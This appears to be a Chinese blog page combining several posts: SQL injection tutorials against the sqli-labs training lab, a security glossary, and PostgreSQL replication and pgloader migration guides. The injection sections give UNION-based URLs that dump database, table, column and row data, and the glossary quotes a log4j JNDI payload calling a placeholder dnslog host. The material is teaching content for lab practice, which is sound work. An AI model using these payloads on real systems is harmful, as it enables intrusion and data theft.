MySQL注入之高权限注入
在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。
直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。
网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。
所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。
多个网站共享MySQL服务器
MySQL权限介绍
MySQL中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,当前演示的版本MySQL 5.7.22
1 | select * from user where user='root' and host='localhost'\G; |
注入流程与上节相同
查询所有数据库名称
1 | http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata |
查询数据库对应的表名
1 | http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374 |
查询表名对应的字段名
1 | http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431 |
查询数据
1 | http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1 |
MySQL手工注入之数字型注入
本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。
数字型注入
在url中输入id值,执行查询sql语句,即可得到对应数据
less-2源码分析:
浏览器 进行数据提交 服务器:
1 | get 提交 : url 数据长度 |
SQL注入流程
注入语句
1 | 尝试手工注入: |
MySQL语句语法回顾
1 | 查询当前数据库服务器所有的数据库 |
SQL注入之MySQL数据库
数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。
关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的Excel表格比较相似。
数据库服务器层级关系
- 多个数据库
- 多个数据表
- 多个行、列、字段
- 多条数据
MySQL系统库
提供了访问数据库元数据的方式。
元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。
information_schema
信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息;
例如:数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。在Web渗透过程中用途很大。
1 | SCHEMATA 表:提供了当前MySQL实例中所有数据库信息,show databases结果来自此表。 |
performance_schema
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,具有87张表,主要用于收集数据库服务器性能参数。
内存数据库,数据放在内存中直接操作的数据库。
相对于磁盘,内存的数据读写速度要高出几个数量级。
mysql
是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。
不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中存储着用户的密码。
sys
是MySQL5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据,具有1个表,100个视图。
这个库可以查询谁使用了最多的资源,哪张表访问最多等。
SQL注入之数据库概述
SQL注入概述
网络安全常用术语
黑客(hacker)
- 对计算机技术非常擅长的人,窃取数据、破坏计算机系统
- 匿名的(Anonymous)
脚本小子
刚刚入门安全行业,学习了一些技术,只会只用现成的工具或者从网上复制代码
白帽子
- 白帽子的目的是发现企业的漏洞并且上报给企业,帮助其解决风险问题;
- 360补天、漏洞盒子、CNVD、CNNVD
红帽黑客
- 有正义感、爱国的黑客;
- 利用技术维护国家网络 安全,并且对外来的攻击进行反击。
漏洞(Vulnerability)
- 漏洞指的是硬件、软件、协议等等存在的安全缺陷;
- http://www.cnnvd.org.cn/web/wz/bzxqById.tag?id=3&mkid=3
POC(Proof of Concept)
- 能证明漏洞存在的代码;
- 例:${jndi:ldap://xxxxxx.dnslog.cn/test}。
EXP
- Exploit(利用);
- 执行了这一段利用代码之后,就能够达到攻击的目的;
- msf。
payload
- 攻击载荷;
- SQL注入:http://localhost/sqli-labs/Less-3/?id=-1‘) union select 1,2,database() –+
- XSS:
- log4j:${jndi:ldap://xxxxxx.domain.cn/test}
0day漏洞
使用量非常大的通用产品漏洞已经被发现了(还没有公开),官方还没有发布补丁或者修复方法的漏洞
1day漏洞
POC和EXP已经被公开了,但是很多人还来不及修复的漏洞
Nday漏洞
漏洞扫描(漏扫)
基于数据库对漏洞进行自动化扫描
补丁
- patch
- 漏洞的修复程序
渗透
- penetration
- 黑客入侵网站或者计算机系统获取到控制计算机权限的过程
渗透测试
- penetration test
- 用黑客入侵的方式对系统进行安全测试,目的是找出和修复安全漏洞
- 这个过程中不会影响系统的正常运行,也不会破坏数据
木马
- Trojan horse
- 隐藏在计算机中的恶意程序
病毒
- Virus
- 恶意代码或程序
杀毒软件
- 360
- 瑞星
- 江民
- 金山
- 诺顿
- 卡巴斯基
- McAfee
免杀
绕过杀毒软件
肉鸡
- 已经被黑客获得控制权限的机器,可能是个人电脑也可能是企业或者政府单位的服务器
- 通常情况下因为使用者并不知道已经被入侵,所以黑客可以长期获得权限和控制。
抓鸡
利用出现概率非常高漏洞(比如log4j、永恒之蓝),使用自动化方式获取肉鸡的行为
跳板机
黑客为了防止被追溯和识别身份,一般都不会用自己的电脑发起攻击,而是利用获取的肉鸡来攻击其他目标,这个肉鸡就充当一个跳板的角色
DDos
- Distributed Denial of Service
- 分布式拒绝服务攻击
- 发起大量恶意请求,导致正常用户无法访问
后门
- backdoor
- 黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个“入口”
中间人攻击
- Man-in-the-Middle Attack
- MITM攻击
- 运行中间服务器,拦截并篡改数据
网络钓鱼
钓鱼网站指的是冒充的网站,用来窃取用户的账号密码
webshell
- shell是一种命令执行工具,可以对计算机进行控制
- webshell就是asp、php、jsp之外的web代码文件,通过这些代码文件可以执行任意的命令,对计算机做任意的操作
分类:
- 小马
- 一句话木马:godzilla、behinder、ant sword
- 大马
GetShell
获得命令执行环境的操作
例如:
- Redis的持久化功能
- MySQL的写文件功能
- MySQL的日志记录功能
- 上传功能
- 数据备份功能
- 编辑器
提权
- Privilege Escalation
- 权限提升
- 利用普通用户把自己提升为管理员的操作
拿站
指得到一个网站的最高权限,即得到后台和管理员名字和密码
脱(拖)裤
拖库指的是网站被入侵以后,黑客把全部的数据都导出,窃取到了数据文件
装库
用获得的裤子去批量登录其他的网站
旁站入侵
入侵同服务器的其他网站
横向移动
攻击者入侵一台服务器成功以后,基于内部网络,继续入侵同网段的其他机器
代理
- Proxy
- 帮助发起网络请求的一台服务器
VPN
- Virtual Private Network
- 代理
- 加密通信
- 远程办公(从家里连接到公司内网)
蜜罐
- HoneyPot
- 吸引攻击者攻击的伪装系统,用来实现溯源和反制
沙箱
- Sandbox
- 沙箱是一种按照安全策略限制程序行为的执行环境,就算有恶意代码,也只能影响沙箱环境而不会影响到操作系统。
靶场
模拟的有漏洞的环境
可以是网站、容器、操作系统
类型:
web综合靶场:DVWA、pikachu、bwapp
web专用靶场:sqli-labs、upload-labs、xss-labs
漏洞复现靶场:CVE-44228
操作系统靶场:vulnhub
CTF靶场:专门用来练习CTF题目,每个人都有一个独立的环境
堡垒机
jumpserver跳板机
运维审计系统:管理资源,审批,审计,访问控制,事件记录
WAF
Web Application Firewall
Web应用防火墙
对HTTP/HTTPS的流量内容进行分析,拦截恶意攻击行为
APT
Advanced Persistent Threat
高级可持续威胁攻击
指有组织在网络上对特定对象展开的持续有效的攻击活动
报告:2021深信服APT攻防趋势半年洞察
护网(HVV)
国家组织牵头组织事业单位,国企单位,名企单位等开展攻防两方的网络安全演习
CTF
Capture The Flag夺旗赛:起源于1996年DEFCON全球黑客大会;解出题目,获得flag,就可以得分
是一种黑客技术竞赛:
解题形式:Jeopardy
攻防形式:Attack-Defense
方向:
Reverse
Pwn
Web
Crypto
Misc
Mobile
常用在线CTF:
bugku:https://ctf.bugku.com/challenges/index.html
北京联合大学:https://ctf.bugku.com/challenges
CTFHub:https://www.ctfhub.com/
bmzCTF:http://bmzclub.cn/challenges
攻防世界:https://adworld.xctf.org.cn
CTFSHOW:https://ctf.show/challenges
CVE
Common Vulnerabilities and Exposures
通用漏洞披露
Mitre
例如:CVE-2021-44228
CNVD
国家信息安全漏洞共享平台:https://www.cnvd.org.cn/
国家计算机应急响应中心(CNCERT维护):https://www.cert.orgh.ctmn/lpublish/main/index.html
应急响应
一个公司为了应对各种安全事件所做的准备和事后采取的措施
SRC
Security Response Center:企业的应急响应中心
http://0xsafe.org/
公益SRC
https://www.vulbox.com/
https://src.sjtu.edu.cn/
网络空间测绘
网络空间资源收录
网络空间搜索引擎:
www.shodan.io
fofa.so
www.zoomeye.org
ATT&CK
Adversarial Tactics, Techniques, and Common Knowledge
对抗战术、技术和通用知识(攻击者技战术的知识库)
Mitre
风险分析模型:收集威胁情报,模拟APT攻击
逆向
Reverse
把程序还原为源代码,分析程序的运行过程
DevOps
Development+Operations
开发测试运维一体化
CICD
包括:
持续集成(Continuous Integration)
持续交付(Continuous Delivery)
持续部署(Continuous Deployment)
具体技术:
Git代码管理
Jenkins版本管理
代码扫描
自动化测试
DevSecOps
Development+Security+Operations
安全开发与运维
等保
网络安全等级保护
要求相关行业的单位和公司的信息系统必须进行定级,然后在公安机关备案,然后建设整改,然后由测评机构评级,并且持续维护和监督。
PostgreSQL主从同步
PostgreSQL自身只支持简单的主从,没有主从自动切换,仿照类似Nginx的效果一样,采用keepalived的形式,在主节点宕机后,通过脚本的执行完成主从切换。
主从实现(异步流复制)
操作方式类似与之前的备份和恢复
准备环境:
角色 | IP | 端口 |
---|---|---|
Master | 192.168.11.66 | 5432 |
Standby | 192.168.11.67 | 5432 |
准备两台虚拟机,完成上述的环境准备
修改好ip,安装好postgresql服务
给主准备一些数据
1 | create table t1 (id int); |
配置主节点信息(主从都配置,因为后面会有主从切换的操作)
修改pg_hba.conf文件
修改postgresql.conf文件
提前构建好归档日志和备份目录,并且设置好拥有者
重启PostgreSQL服务
1 | systemctl restart postgresql-12 |
从节点加入到主节点
关闭从节点服务
1 | systemctl stop postgresql-12 |
删除从节点数据(删除data目录)
1 | rm -rf ~/12/data/* |
基于pbk去主节点备份数据
1 | # 确认好备份的路径,还有主节点的ip |
恢复数据操作,解压tar包
1 | cd /pgbasebackuo |
修改postgresql.auto.conf文件
1 | # 确认有这两个配置,一般第一个需要手写,第二个会自动生成 |
修改standby.signal文件,开启从节点备份模式
1 | # 开启从节点备份 |
启动从节点服务
1 | systemctl restart postgresql-12 |
查看主从信息
- 查看从节点是否有t1表
- 主节点添加一行数据,从节点再查询,可以看到最新的数据
- 从节点无法完成写操作,他是只读模式
- 主节点查看从节点信息
1
select * from pg_stat_replication
- 从节点查看主节点信息
1
select * from pg_stat_wal_receiver
主从切换(不推荐)
其实主从的本质就是从节点去主节点不停的备份新的数据。
配置文件的系统其实就是两个:
- standby.signal文件,这个是从节点开启备份
- postgresql.auto.conf文件,这个从节点指定主节点的地址信息
切换就是原主追加上述配置,原从删除上述配追
1、主从节点全部stop停止:
2、原从删除上述配置:
3、原从新主启动服务:
4、原主新从去原从新主备份一次数据:pg_basebackup操作,同时做解压,然后修改postgresql.conf文件以及standby.signal配置文件
5、启动原主新从查看信息
主从故障切换
默认情况下,这里的主从备份是异步的,导致一个问题,如果主节点写入的数据还没有备份到从节点,主节点忽然宕机了,导致后面如果基于上述方式实现主从切换,数据可能丢失。
PGSQL在9.5版本后提供了一个pg_rewind的操作,基于归档日志帮咱们做一个比对,比对归档日志,是否有时间差冲突。
实现操作:
1、rewind需要开启一项配置才可以使用
修改postgresql.conf中的 wal_log_hints = ‘on’
2、为了可以更方便的使用rewind,需要设置一下 /usr/pgsql-12/bin/ 的环境变量
1 | vi /etc/profile |
3、模拟主库宕机,直接对主库关机
4、从节点切换为主节点
1 | # 因为他会去找$PGDATA,我没配置,就基于-D指定一下PGSQL的data目录 |
5、将原主节点开机,执行命令,搞定归档日志的同步
- 启动虚拟机
- 停止PGSQL服务
1
pg_ctl stop -D ~/12/data
- 基于pg_rewind加入到集群
1
pg_rewind -D ~/12/data/ --source-server='host=192.168.11.66 user=postgres password=postgres'
- 如果上述命令失败,需要启动再关闭PGSQL,并且在执行,完成归档日志的同步
1
2
3pg_ctl start -D ~/12/data
pg_ctl stop -D ~/12/data
pg_rewind -D ~/12/data/ --source-server='host=192.168.11.66 user=postgres password=postgres'
6、修改新从节点的配置,然后启动
- 构建standby.signal
1
standby_mode = 'on'
- 修改postgresql.auto.conf文件
1
2
3# 注意ip地址
primary_conninfo = 'user=postgres password=postgres host=192.168.11.66 port=5432 sslmode=prefer sslcompression=0 gssencmode=prefer krbsrvname=postgres target_session_attrs=any'
restore_command = 'cp /archive/%f %p' - 启动新的从节点
1
pg_ctl start -D ~/12/data/
PostgreSQL数据迁移工具——pgloader
PostgreSQL做数据迁移的插件非常多,可以从MySQL迁移到PostgreSQL,也可以基于其他数据源迁移到PostgreSQL。
这种迁移的插件很多,这里只以pgloader举例,pgloader使用起来特别的方便。
以MySQL数据迁移到PostgreSQL为例,分为几个操作:
1、准备MySQL服务(防火墙问题,远程连接问题,权限问题)
准备了一个数据库,里面大概有26W条左右的数据。
2、准备PostgreSQL的服务
3、安装pgloader
pgloader可以安装在任何位置,比如安装在MySQL所在服务,或者PostgreSQL所在服务,再或者一个独立的服务都可以
1 | # 用root用户下载 |
4、准备pgloader需要的脚本文件
官方文档: https://pgloader.readthedocs.io/en/latest/
注意:PostgreSQL的数据库要提前构建好才可以。
5、执行脚本,完成数据迁移
先确认pgloader命令可以使用
执行脚本:
1 | pgloader 刚刚写好的脚本文件 |